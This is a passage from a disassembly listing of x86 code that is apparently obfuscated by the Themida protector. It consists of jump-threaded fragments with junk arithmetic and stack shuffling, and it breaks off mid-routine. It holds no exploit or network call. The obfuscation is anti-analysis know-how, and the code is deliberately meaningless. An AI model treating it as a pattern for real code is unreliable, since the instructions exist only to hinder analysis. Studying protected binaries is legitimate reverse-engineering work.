; ---------------------------------------------------------------------------


loc_56F357:				; CODE XREF: sub_56207C+1338j
		neg	edx
		xor	edx, 0DF54743h
		xor	edi, edx
		jmp	loc_56DA26
; ---------------------------------------------------------------------------


loc_56F366:				; CODE XREF: sub_56207C+68E3j
		pop	ecx
		add	edx, eax
		push	[esp+28h+var_28]
		pop	eax
		push	30Ch
		jmp	loc_562B85
; ---------------------------------------------------------------------------


loc_56F377:				; CODE XREF: sub_56207C+1CDDj
		push	1E9Dh
		jmp	loc_56BBB3
; ---------------------------------------------------------------------------


loc_56F381:				; CODE XREF: sub_56207C+B392j
		sub	esi, 27544E06h
		pop	eax
		push	edx
		push	esi
		jmp	loc_56EA35
; ---------------------------------------------------------------------------


loc_56F38F:				; DATA XREF: Themida_:0055E34Co
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+36h+var_38+2], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56F39E:				; CODE XREF: sub_56207C+40A8j
		push	1F05h
		mov	[esp+22h+var_24+2], edx
		mov	edx, esp
		push	3B80h
		jmp	loc_564CA4
; ---------------------------------------------------------------------------


loc_56F3B2:				; CODE XREF: sub_56207C-263Bj
		sub	edi, ebp
		jmp	loc_56591A
; ---------------------------------------------------------------------------


loc_56F3B9:				; CODE XREF: sub_56207C+10873j
		mov	[esp+0], si
		push	small 331Bh
		jmp	loc_56B5F0
; ---------------------------------------------------------------------------


loc_56F3C6:				; CODE XREF: sub_56207C+D23Fj
		not	ebp
		jmp	loc_561D21
; ---------------------------------------------------------------------------


loc_56F3CD:				; CODE XREF: sub_56207C+AF4Dj
		pop	ebx
		shl	ecx, 6
		push	esi
		jmp	loc_56FB5C
; ---------------------------------------------------------------------------


loc_56F3D7:				; CODE XREF: sub_56207C-16F7j
		push	esp
		pop	eax
		jmp	loc_567AF6
; ---------------------------------------------------------------------------


loc_56F3DE:				; CODE XREF: sub_56207C+A86Aj
		sub	edx, 1AB2C29h
		sub	edx, 0D2C0A1DBh
		sub	esi, edx
		jmp	loc_563D86
; ---------------------------------------------------------------------------


loc_56F3F1:				; CODE XREF: sub_56207C+996Cj
		mov	ecx, [esp+34h+var_34]
		add	esp, 4
		shl	edx, 2
		shr	edx, 7
		add	edx, 0FE9AB514h
		add	ebx, edx
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_570436
; ---------------------------------------------------------------------------


loc_56F41A:				; CODE XREF: sub_56207C+11057j
		sub	bl, dl
		jmp	loc_55F5E0
; ---------------------------------------------------------------------------


loc_56F421:				; CODE XREF: sub_56207C+6360j
		xor	ebx, 9EA084A9h
		mov	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 60017E74h
		xor	eax, 0FE40F8Fh
		add	ebx, eax
		jmp	loc_570B23
; ---------------------------------------------------------------------------


loc_56F43C:				; CODE XREF: sub_56207C+91B5j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	[esp+38h+var_34]
		pop	esi
		jmp	loc_5715E7
; ---------------------------------------------------------------------------


loc_56F452:				; CODE XREF: sub_56207C+77D5j
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_56C01D
; ---------------------------------------------------------------------------


loc_56F45C:				; CODE XREF: sub_56207C+8CACj
		xor	[esp+6Ch+var_6C], esi
		jmp	loc_5601D7
; ---------------------------------------------------------------------------


loc_56F464:				; CODE XREF: sub_56207C+3A00j
		sub	eax, 1A094A89h
		and	ecx, eax
		pop	eax
		push	edx
		mov	edx, 0EF543AFh
		add	ecx, edx
		pop	edx
		shl	ecx, 3
		push	edx
		push	ebp
		mov	ebp, 4CE10CFFh
		jmp	loc_570FB2
; ---------------------------------------------------------------------------


loc_56F484:				; CODE XREF: sub_56207C+D182j
		shl	ebp, 6
		push	edi
		jmp	loc_5683B6
; ---------------------------------------------------------------------------


loc_56F48D:				; CODE XREF: sub_56207C+97D6j
		mov	[esp+32h+var_34+2], ecx
		push	edi
		mov	edi, 15CA5118h
		mov	ecx, edi
		pop	edi
		shr	ecx, 7
		sub	ecx, 0C28356B3h
		push	ecx
		jmp	loc_5651F1
; ---------------------------------------------------------------------------


loc_56F4A8:				; CODE XREF: sub_56207C+44F9j
		pop	esp
		push	edx
		mov	edx, 7BC558A5h
		inc	edx
		neg	edx
		jmp	loc_56CE1B
; ---------------------------------------------------------------------------


loc_56F4B7:				; CODE XREF: sub_56207C+2210j
		mov	ebp, edi
		jmp	loc_561B68
; ---------------------------------------------------------------------------


loc_56F4BE:				; CODE XREF: sub_56207C+94B6j
		mov	ecx, 0CA7497FDh
		sub	eax, ecx
		jmp	loc_56E32E
; ---------------------------------------------------------------------------


loc_56F4CA:				; CODE XREF: sub_56207C+6782j
		sub	bl, dl
		pop	dx
		sub	bl, 71h
		jmp	loc_55FEC8
; ---------------------------------------------------------------------------


loc_56F4D6:				; CODE XREF: sub_56207C-271Bj
		push	33CA6DCBh
		push	[esp+0Eh+var_10+2]
		mov	edx, [esp+12h+var_14+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_560544
; ---------------------------------------------------------------------------


loc_56F4EF:				; CODE XREF: sub_56207C+C70Fj
		add	edi, 4
		jmp	loc_56D5D8
; ---------------------------------------------------------------------------


loc_56F4FA:				; CODE XREF: sub_56207C+4DDFj
		or	edx, eax
		shl	edx, 1
		push	408Dh
		mov	[esp+0Eh+var_10+2], eax
		sub	esp, 4
		mov	[esp+12h+var_14+2], edx
		jmp	loc_560864
; ---------------------------------------------------------------------------


loc_56F511:				; CODE XREF: sub_56207C+4AA5j
		push	428Ah
		mov	[esp+8+var_8], esp
		push	edi
		mov	edi, 4
		add	[esp+0Ch+var_8], edi
		push	[esp+0Ch+var_C]
		pop	edi
		jmp	loc_55E8FF
; ---------------------------------------------------------------------------


loc_56F52C:				; DATA XREF: Themida_:0055E33Co
		mov	ax, word ptr [esp+0Ch+var_C]
		push	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	5BE0h
		jmp	loc_57329B
; ---------------------------------------------------------------------------


loc_56F55B:				; CODE XREF: sub_56207C+10CBBj
		add	ecx, 19AE511Fh
		sub	ecx, 570F3CDAh
		jmp	loc_570FF0
; ---------------------------------------------------------------------------


loc_56F56C:				; CODE XREF: sub_56207C-674j
		sub	bx, 360Fh
		mov	di, bx
		pop	ebx
		sub	bx, di
		pop	di
		jmp	loc_5622A4
; ---------------------------------------------------------------------------


loc_56F57F:				; CODE XREF: sub_56207C+D957j
		mov	[esp+18h+var_18], ebx
		push	eax
		push	31835E70h
		pop	eax
		neg	eax
		and	eax, 36360A24h
		jmp	loc_56CAF3
; ---------------------------------------------------------------------------


loc_56F595:				; CODE XREF: sub_56207C+9D41j
		push	ebp
		push	ebx
		jmp	loc_56BC31
; ---------------------------------------------------------------------------


loc_56F59C:				; CODE XREF: sub_56207C+11227j
		or	edx, 7C503ED6h
		add	edx, 333156BCh
		jmp	loc_57240D
; ---------------------------------------------------------------------------


loc_56F5AD:				; CODE XREF: sub_56207C+2072j
		sub	ebx, 6433265Eh
		pop	edi
		push	eax
		mov	eax, 3C08313Ch
		jmp	loc_56DD38
; ---------------------------------------------------------------------------


loc_56F5BF:				; CODE XREF: sub_56207C+AA72j
		add	edi, 4EC96E86h
		jmp	loc_569C57
; ---------------------------------------------------------------------------


loc_56F5CA:				; CODE XREF: sub_56207C+6E7Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56EDD9
; ---------------------------------------------------------------------------


loc_56F5D8:				; CODE XREF: sub_56207C-3782j
		mov	[esp+0Ch+var_C], esi
		mov	esi, 6A6664ABh
		and	esi, 635A0588h
		dec	esi
		not	esi
		and	esi, 32E57C49h
		sub	esi, 10A57846h
		push	edx
		mov	edx, 61130F14h
		jmp	loc_570573
; ---------------------------------------------------------------------------


loc_56F600:				; CODE XREF: sub_56207C-1BF6j
		push	[esp+24h+var_24]
		pop	eax
		jmp	loc_56F84C
; ---------------------------------------------------------------------------


loc_56F609:				; CODE XREF: sub_56207C+674Dj
		neg	ecx
		xchg	ecx, edx
		jmp	loc_565C23
; ---------------------------------------------------------------------------


loc_56F612:				; CODE XREF: sub_56207C+27C5j
		add	edx, 4
		xchg	edx, [esp+1Ch+var_1C]
		pop	esp
		add	ecx, edi
		mov	edi, [esp+18h+var_18]
		push	edi
		mov	edi, esp
		jmp	loc_56A175
; ---------------------------------------------------------------------------


loc_56F629:				; CODE XREF: sub_56207C+11C8j
		mov	[esp+30h+var_30], ebx
		mov	eax, [esp+30h+var_30]
		push	edx
		jmp	loc_5619B1
; ---------------------------------------------------------------------------


loc_56F635:				; CODE XREF: sub_56207C-1C8Bj
		add	edi, 3C0C43E6h
		push	ebp
		mov	ebp, 471D7EB6h
		add	edi, ebp
		pop	ebp
		pop	ecx
		pop	ebx
		push	edi
		push	[esp+10h+var_C]
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		jmp	loc_567424
; ---------------------------------------------------------------------------


loc_56F659:				; CODE XREF: sub_56207C+105B0j
		push	eax
		push	[esp+10h+var_C]
		pop	eax
		pop	[esp+10h+var_10]
		pop	esp
		mov	[esp+8+var_8], ebx
		push	0E99355Fh
		push	[esp+0Ch+var_C]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		xor	[esp+0Ch+var_8], ebx
		mov	ebx, [esp+0Ch+var_C]
		push	eax
		push	esp
		jmp	loc_5635FB
; ---------------------------------------------------------------------------


loc_56F690:				; CODE XREF: sub_56207C+44F1j
		pop	[esp+2Ch+var_2C]
		mov	esp, [esp+28h+var_28]
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ebx
		push	ecx
		sub	esp, 4
		mov	[esp+34h+var_34], eax
		mov	eax, 226321CCh
		sub	[esp+34h+var_30], eax
		mov	eax, [esp+34h+var_34]
		add	esp, 4
		mov	ebx, [esp+30h+var_30]
		add	esp, 4
		add	ebx, 226321CCh
		jmp	loc_56108D
; ---------------------------------------------------------------------------


loc_56F6C9:				; CODE XREF: sub_56207C+7EBAj
		mov	[esp+1Ah+var_1C+2], esp
		add	[esp+1Ah+var_1C+2], 4
		pop	ecx
		jmp	loc_573167
; ---------------------------------------------------------------------------


loc_56F6D6:				; CODE XREF: sub_56207C+1BA2j
		xchg	eax, [esp+30h+var_30]
		jmp	loc_56555A
; ---------------------------------------------------------------------------


loc_56F6DE:				; CODE XREF: sub_56207C+8B06j
		shr	ecx, 1
		jmp	loc_5612E7
; ---------------------------------------------------------------------------


loc_56F6E5:				; CODE XREF: sub_56207C+7685j
		pop	esi
		pop	[esp+1Eh+var_20+2]
		pop	esp
		jmp	loc_56A3B7
; ---------------------------------------------------------------------------


loc_56F6EF:				; CODE XREF: sub_56207C+5E09j
		xor	ebp, 114C6D7Ah
		sub	ebp, 0F048F369h
		xor	ebx, ebp
		pop	ebp
		add	ebx, 0E6E0F33Ah
		xor	ecx, ebx
		jmp	loc_5661B6
; ---------------------------------------------------------------------------


loc_56F70B:				; CODE XREF: sub_56207C+4D31j
		xor	edx, 53792227h
		push	264Ch
		mov	[esp+3Eh+var_40+2], esi
		push	5C9C2FCDh
		push	[esp+42h+var_44+2]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_5685D8
; ---------------------------------------------------------------------------


loc_56F72A:				; CODE XREF: sub_56207C-3B5Ej
		push	ecx
		mov	ecx, 4
		add	ebp, 66603604h
		add	ebp, ecx
		sub	ebp, 66603604h
		mov	ecx, [esp+24h+var_24]
		add	esp, 4
		push	ebp
		push	[esp+24h+var_20]
		push	[esp+28h+var_28]
		pop	ebp
		push	eax
		mov	eax, esp
		jmp	loc_562B6D
; ---------------------------------------------------------------------------


loc_56F758:				; CODE XREF: sub_56207C+8F45j
		pop	[esp+12h+var_14+2]
		add	[esp+0Eh+var_10+2], 4
		jmp	loc_5606C6
; ---------------------------------------------------------------------------


loc_56F764:				; CODE XREF: sub_56207C+E4DAj
		pop	esi
		xor	esi, 473B54E6h
		pop	edx
		and	eax, esi
		mov	esi, [esp+6+var_8+2]
		push	edi
		push	6613h
		mov	[esp+0Eh+var_10+2], esp
		add	[esp+0Eh+var_10+2], 4
		push	[esp+0Eh+var_10+2]
		pop	edi
		add	esp, 4
		add	edi, 4
		push	ecx
		push	edi
		mov	edi, 4
		mov	ecx, edi
		jmp	loc_572F7D
; ---------------------------------------------------------------------------


loc_56F79C:				; CODE XREF: sub_56207C+113CCj
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	edi
		push	3238120Ah
		pop	edi
		sub	edi, 32381206h
		add	ecx, 1C0905F1h
		add	ecx, edi
		push	esi
		jmp	loc_5620E2
; ---------------------------------------------------------------------------


loc_56F7C0:				; DATA XREF: Themida_:0055E30Co
		push	[esp+1Ah+var_1C+2]
		pop	eax
		push	esi
		push	esp
		jmp	loc_572013
; ---------------------------------------------------------------------------


loc_56F7CB:				; CODE XREF: sub_56207C+21F3j
		mov	[esp+1Ch+var_1C], edx
		mov	dl, 63h
		push	small 5C9Bh
		mov	word ptr [esp+1Eh+var_20+2], ax
		push	4EB3h
		mov	[esp+22h+var_24+2], edx
		jmp	loc_5634FD
; ---------------------------------------------------------------------------


loc_56F7E5:				; CODE XREF: sub_56207C+11498j
		add	esp, 4
		push	cx
		sub	esp, 4
		mov	[esp+24h+var_24], edx
		push	ebx
		push	3EB7h
		mov	[esp+2Ch+var_2C], ecx
		mov	ch, 0E9h
		mov	bl, ch
		mov	ecx, [esp+2Ch+var_2C]
		jmp	loc_568355
; ---------------------------------------------------------------------------


loc_56F808:				; CODE XREF: sub_56207C+11486j
		add	edi, edx
		mov	edx, [esp+2Ch+var_2C]
		jmp	loc_564091
; ---------------------------------------------------------------------------


loc_56F812:				; CODE XREF: sub_56207C+3E08j
		push	ebx
		mov	ebx, 47465A67h
		push	ebp
		mov	ebp, 6FA4360h
		add	eax, ebp
		pop	ebp
		jmp	loc_565E19
; ---------------------------------------------------------------------------


loc_56F826:				; CODE XREF: sub_56207C+F622j
		add	esi, 1974341h
		mov	ebp, [esp+12h+var_14+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+16h+var_18+2]
		pop	esp
		push	65BEh
		jmp	loc_55E3E9
; ---------------------------------------------------------------------------


loc_56F84C:				; CODE XREF: sub_56207C+D588j
		push	ecx
		mov	ecx, esp
		jmp	loc_564E2C
; ---------------------------------------------------------------------------


loc_56F854:				; CODE XREF: sub_56207C+A50Bj
		xor	eax, 0BC0B520Fh
		and	ecx, eax
		pop	eax
		push	edx
		jmp	loc_570567
; ---------------------------------------------------------------------------


loc_56F862:				; CODE XREF: sub_56207C+356Cj
		xchg	eax, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+2Ah+var_2C+2]
		pop	esp
		mov	[esp+26h+var_28+2], ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 571B292Dh
		or	eax, 39405B2Ch
		dec	eax
		shr	eax, 1
		jmp	loc_563616
; ---------------------------------------------------------------------------


loc_56F893:				; CODE XREF: sub_56207C+DE8Cj
		add	esp, 4
		sub	eax, 41100C61h
		sub	eax, 6C457ABAh
		sub	eax, 45F02BF9h
		jmp	loc_571895
; ---------------------------------------------------------------------------


loc_56F8AD:				; CODE XREF: sub_56207C+DF8Bj
		add	ebp, 4
		xchg	ebp, [esp+26h+var_28+2]
		jmp	loc_56B417
; ---------------------------------------------------------------------------


loc_56F8BB:				; CODE XREF: sub_56207C+10280j
		mov	[esp+26h+var_28+2], ebx
		push	edx
		mov	edx, 78354D14h
		jmp	loc_56BF36
; ---------------------------------------------------------------------------


loc_56F8C9:				; CODE XREF: sub_56207C+75EDj
		push	295Bh
		mov	[esp+50h+var_50], eax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56F8D6:				; CODE XREF: sub_56207C-3306j
		xor	eax, 2B45DD66h
		mov	ecx, eax
		pop	eax
		xor	ebx, ecx
		pop	ecx
		jmp	loc_568A61
; ---------------------------------------------------------------------------


loc_56F8E6:				; CODE XREF: sub_56207C+60F1j
		xor	eax, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		pop	[esp+20h+var_20]
		mov	esp, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], eax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56F8FA:				; CODE XREF: sub_56207C+53CAj
		push	62F2033Ah
		pop	ebp
		jmp	loc_572D6D
; ---------------------------------------------------------------------------


loc_56F905:				; CODE XREF: sub_56207C+CDC0j
		sub	edi, 7BDF01E0h
		sub	ebp, 20A1256Ah
		add	ebp, edi
		add	ebp, 20A1256Ah
		mov	edi, [esp+10h+var_10]
		jmp	loc_561C61
; ---------------------------------------------------------------------------


loc_56F921:				; DATA XREF: Themida_:0055E2FCo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+0Eh+var_10+2], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56F931:				; CODE XREF: sub_56207C+106DCj
		mov	ch, dh
		push	[esp+12h+var_14+2]
		jmp	loc_57244B
; ---------------------------------------------------------------------------


loc_56F93B:				; CODE XREF: sub_56207C+3060j
		pop	edi
		jmp	loc_5632B9
; ---------------------------------------------------------------------------


loc_56F941:				; CODE XREF: sub_56207C+74B4j
		xor	eax, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_55E5BA
; ---------------------------------------------------------------------------


loc_56F94C:				; CODE XREF: sub_56207C-15B5j
		mov	ax, dx
		pop	edx
		mov	si, 29Ah
		neg	si
		push	ax
		mov	ax, 9260h
		sub	si, ax
		pop	ax
		sub	si, 7793h
		jmp	loc_568E3A
; ---------------------------------------------------------------------------


loc_56F96C:				; CODE XREF: sub_56207C+3A95j
		push	ecx
		sub	esp, 4
		mov	[esp+0], esi
		push	6FE0231Dh
		pop	esi
		neg	esi
		add	esi, 6FE0231Eh
		mov	ecx, esi
		pop	esi
		sub	edi, ecx
		pop	ecx
		xor	edi, 1B1A3654h
		mov	ebx, edi
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		push	eax
		jmp	loc_573102
; ---------------------------------------------------------------------------


loc_56F9A1:				; CODE XREF: sub_56207C+26CCj
		push	ebx
		mov	bl, 0CBh
		push	6E87h
		mov	[esp+0Ah+var_C+2], eax
		mov	ah, 88h
		jmp	loc_56244E
; ---------------------------------------------------------------------------


loc_56F9B3:				; CODE XREF: sub_56207C-24F6j
		mov	esi, [esp-4+arg_0]
		jmp	loc_560F38
; ---------------------------------------------------------------------------


loc_56F9BB:				; CODE XREF: sub_56207C-3694j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56F9C0:				; DATA XREF: Themida_:0055E1FCo
		mov	cx, word ptr [esp+22h+var_24+2]
		push	ebx
		push	3EEh
		push	esp
		pop	[esp+2Eh+var_30+2]
		push	5B0Dh
		jmp	loc_56F57F
; ---------------------------------------------------------------------------


loc_56F9D8:				; CODE XREF: sub_56207C+5647j
		pop	eax
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		add	eax, 365515C9h
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56F9E9:				; CODE XREF: sub_56207C+9110j
		sub	al, 6Fh
		push	[esp+1Eh+var_20+2]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		sub	esi, 2
		jmp	loc_570461
; ---------------------------------------------------------------------------


loc_56FA14:				; CODE XREF: sub_56207C+9923j
		shr	cl, 7
		jmp	loc_56DFDF
; ---------------------------------------------------------------------------


loc_56FA1C:				; CODE XREF: sub_56207C+F7EBj
		push	ebx
		jmp	loc_5724D6
; ---------------------------------------------------------------------------


loc_56FA22:				; DATA XREF: Themida_:0055E27Co
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ecx
		push	ebx
		mov	bl, 9Bh
		jmp	loc_561F9E
; ---------------------------------------------------------------------------


loc_56FA33:				; CODE XREF: sub_56207C+3288j
		mov	esp, [esp+24h+var_24]
		jmp	loc_56A8EC
; ---------------------------------------------------------------------------


loc_56FA3B:				; DATA XREF: Themida_:0055E2A0o
		push	small word ptr [edx]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56FA43:				; CODE XREF: sub_56207C+51D1j
		mov	esi, 4
		add	[esp+1Ch+var_18], esi
		pop	esi
		pop	edi
		push	881h
		mov	[esp+18h+var_18], ebp
		jmp	loc_5660DA
; ---------------------------------------------------------------------------


loc_56FA5B:				; CODE XREF: sub_56207C-96Bj
		push	ebx
		mov	ebx, 1A7B1803h
		jmp	loc_570A1E
; ---------------------------------------------------------------------------


loc_56FA66:				; CODE XREF: sub_56207C+F688j
		add	esi, edx
		pop	edx
		add	esi, 4
		jmp	loc_5729B4
; ---------------------------------------------------------------------------


loc_56FA71:				; CODE XREF: sub_56207C+1E17j
		shr	ebx, 7
		add	ebx, 1CF93B7Ah
		xor	ebx, 59DDDB02h
		mov	edi, ebx
		mov	ebx, [esp+42h+var_44+2]
		add	esp, 4
		jmp	loc_57076F
; ---------------------------------------------------------------------------


loc_56FA90:				; CODE XREF: sub_56207C+10A01j
		pop	eax
		push	ebx
		mov	ebx, 7A1139C8h
		jmp	loc_572CA8
; ---------------------------------------------------------------------------


loc_56FA9C:				; CODE XREF: sub_56207C+BCA0j
		push	edx
		mov	dx, 642Ch
		inc	dx
		xor	dx, 4DFEh
		jmp	loc_565BE5
; ---------------------------------------------------------------------------


loc_56FAAD:				; CODE XREF: sub_56207C+2D5Cj
		push	edi
		mov	edi, 4DC7518Ah
		jmp	loc_55E4D4
; ---------------------------------------------------------------------------


loc_56FAB8:				; CODE XREF: sub_56207C+FBDBj
		neg	ebp
		dec	ebp
		jmp	loc_565972
; ---------------------------------------------------------------------------


loc_56FAC0:				; CODE XREF: sub_56207C+F4Bj
		xor	ebx, 13E139h
		mov	ebp, ebx
		pop	ebx
		add	esi, 66C06D14h
		add	esi, ebp
		sub	esi, 66C06D14h
		pop	ebp
		push	esi
		push	[esp+18h+var_14]
		pop	esi
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		movzx	ecx, ax
		push	edi
		push	7C2Ch
		sub	esp, 4
		mov	[esp+20h+var_20], esp
		add	[esp+20h+var_20], 4
		pop	[esp+20h+var_20]
		add	[esp+1Ch+var_1C], 4
		push	[esp+1Ch+var_1C]
		mov	edi, [esp+20h+var_20]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+24h+var_24]
		pop	esp
		jmp	loc_56AB87
; ---------------------------------------------------------------------------


loc_56FB1F:				; CODE XREF: sub_56207C+6F1Aj
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		add	edi, 2
		push	edi
		push	[esp+10h+var_C]
		pop	edi
		pop	[esp+10h+var_10]
		jmp	loc_56EF19
; ---------------------------------------------------------------------------


loc_56FB36:				; CODE XREF: sub_56207C+8614j
		neg	ebx
		add	ebx, 2F480DDBh
		dec	ebx
		inc	ebx
		xor	ebx, 24C8DF7Eh
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+36h+var_38+2], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_564F2D
; ---------------------------------------------------------------------------


loc_56FB5C:				; CODE XREF: sub_56207C+D356j
		push	ebp
		mov	ebp, 97902B1h
		jmp	loc_5600C4
; ---------------------------------------------------------------------------


loc_56FB67:				; CODE XREF: sub_56207C-5F2j
		pop	ecx
		shl	ah, 3
		push	edx
		mov	dl, 9Ah
		xor	ah, dl
		pop	edx
		push	edx
		mov	dh, 0AFh
		jmp	loc_56E88C
; ---------------------------------------------------------------------------


loc_56FB79:				; CODE XREF: sub_56207C+A2B5j
		not	ebx
		sub	ebx, 334D4165h
		xor	ebx, 70EC54B5h
		add	ebx, 0C204C274h
		sub	edi, ebx
		jmp	loc_5697AD
; ---------------------------------------------------------------------------


loc_56FB94:				; DATA XREF: Themida_:0055E20Co
		push	[esp+3Ch+var_3C]
		pop	eax
		push	7F45h
		mov	[esp+40h+var_40], edi
		sub	esp, 4
		mov	[esp+44h+var_44], esp
		add	[esp+44h+var_44], 4
		pop	edi
		push	18A5h
		mov	[esp+44h+var_44], esi
		mov	esi, 4
		jmp	loc_56D883
; ---------------------------------------------------------------------------


loc_56FBC3:				; CODE XREF: sub_56207C+27B8j
		mov	[esp+12h+var_14+2], eax
		push	ebx
		jmp	loc_55ED5E
; ---------------------------------------------------------------------------


loc_56FBCC:				; CODE XREF: sub_56207C-2708j
		xor	ebp, [esp+6+var_8+2]
		jmp	loc_571D4B
; ---------------------------------------------------------------------------


loc_56FBD4:				; CODE XREF: sub_56207C+5507j
		add	esp, 4
		xor	esi, eax
		pop	eax
		jmp	loc_569E43
; ---------------------------------------------------------------------------


loc_56FBDF:				; CODE XREF: sub_56207C+95B8j
		mov	ch, 0D1h
		jmp	loc_56D73B
; ---------------------------------------------------------------------------


loc_56FBE6:				; CODE XREF: sub_56207C+8FADj
		push	ebp
		mov	ebp, 7475727h
		mov	esi, ebp
		pop	ebp
		xor	[esp+3Ah+var_38+2], esi
		mov	esi, [esp+3Ah+var_3C+2]
		add	esp, 4
		pop	eax
		jmp	loc_56B261
; ---------------------------------------------------------------------------


loc_56FC02:				; CODE XREF: sub_56207C+E50j
		mov	ebp, 176C2604h
		xor	edx, ebp
		mov	ebp, [esp+30h+var_30]
		jmp	loc_561924
; ---------------------------------------------------------------------------


loc_56FC11:				; CODE XREF: sub_56207C-327Cj
		xor	[esp+6+var_8+2], esi
		xor	esi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		push	[esp+6+var_8+2]
		jmp	loc_56031A
; ---------------------------------------------------------------------------


loc_56FC22:				; CODE XREF: sub_56207C+EF44j
		sub	ecx, edx
		push	eax
		mov	eax, 74A46550h
		jmp	loc_573093
; ---------------------------------------------------------------------------


loc_56FC2F:				; CODE XREF: sub_56207C+10E9Aj
		mov	ebp, 41D25BB6h
		not	ebp
		and	ebp, 258F5279h
		jmp	loc_571EFE
; ---------------------------------------------------------------------------


loc_56FC41:				; CODE XREF: sub_56207C+48D4j
		shl	esi, 6
		shl	esi, 4
		and	esi, 63BF190Eh
		shr	esi, 1
		add	esi, 0DEF573FFh
		mov	ebx, esi
		pop	esi
		sub	ebp, 249D78ACh
		sub	ebp, ebx
		add	ebp, 249D78ACh
		pop	ebx
		push	eax
		push	1D083CF2h
		pop	eax
		add	ebp, eax
		jmp	loc_55F082
; ---------------------------------------------------------------------------


loc_56FC75:				; CODE XREF: sub_56207C+7218j
		pop	esp
		sub	edx, 0FFFFFFFFh
		xor	edx, 376C1Dh
		push	ebx
		mov	ebx, 4AD15FB3h
		shr	ebx, 4
		or	ebx, 60AB31DCh
		neg	ebx
		not	ebx
		jmp	loc_568AC5
; ---------------------------------------------------------------------------


loc_56FC97:				; CODE XREF: sub_56207C+B730j
		xor	eax, 744E6DA4h
		shr	eax, 7
		sub	eax, 0FFFFFFFFh
		shl	eax, 6
		jmp	loc_55F31D
; ---------------------------------------------------------------------------


loc_56FCAA:				; CODE XREF: sub_56207C+26B1j
		push	[esp+3Ah+var_38+2]
		pop	edx
		pop	[esp+3Ah+var_3C+2]
		jmp	loc_56EF24
; ---------------------------------------------------------------------------


loc_56FCB7:				; CODE XREF: sub_56207C+9879j
		sub	ebp, edi
		pop	edi
		jmp	loc_56C008
; ---------------------------------------------------------------------------


loc_56FCBF:				; CODE XREF: sub_56207C+62A9j
		and	al, 0EFh
		sub	al, 0BAh
		or	cl, al
		pop	eax
		jmp	loc_566C7A
; ---------------------------------------------------------------------------


loc_56FCCB:				; CODE XREF: sub_56207C+10EA5j
		add	bh, 33h
		or	ch, bh
		pop	ebx
		jmp	loc_56982A
; ---------------------------------------------------------------------------


loc_56FCD6:				; CODE XREF: sub_56207C+2D74j
		mov	[esp+3Ah+var_3C+2], eax
		mov	eax, 44E9505Fh
		inc	eax
		inc	eax
		sub	eax, 7400366Ch
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], edi
		mov	edi, 953656Dh
		xor	edi, 700D2F78h
		or	eax, edi
		pop	edi
		sub	eax, 0F9FF5BF1h
		add	esi, eax
		mov	eax, [esp+3Ah+var_3C+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_57171F
; ---------------------------------------------------------------------------


loc_56FD11:				; CODE XREF: sub_56207C+E7BDj
		xchg	esi, [esp+3Ah+var_3C+2]
		pop	esp
		shr	ebx, 3
		jmp	loc_569524
; ---------------------------------------------------------------------------


loc_56FD1D:				; CODE XREF: sub_56207C+8D11j
		push	[esp+46h+var_48+2]
		push	[esp+4Ah+var_4C+2]
		mov	ecx, [esp+4Eh+var_50+2]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4Ah+var_4C+2]
		pop	esp
		push	edx
		push	esp
		jmp	loc_571BDD
; ---------------------------------------------------------------------------


loc_56FD43:				; CODE XREF: sub_56207C+7D6Cj
		pop	ecx
		mov	ebx, 76A93679h
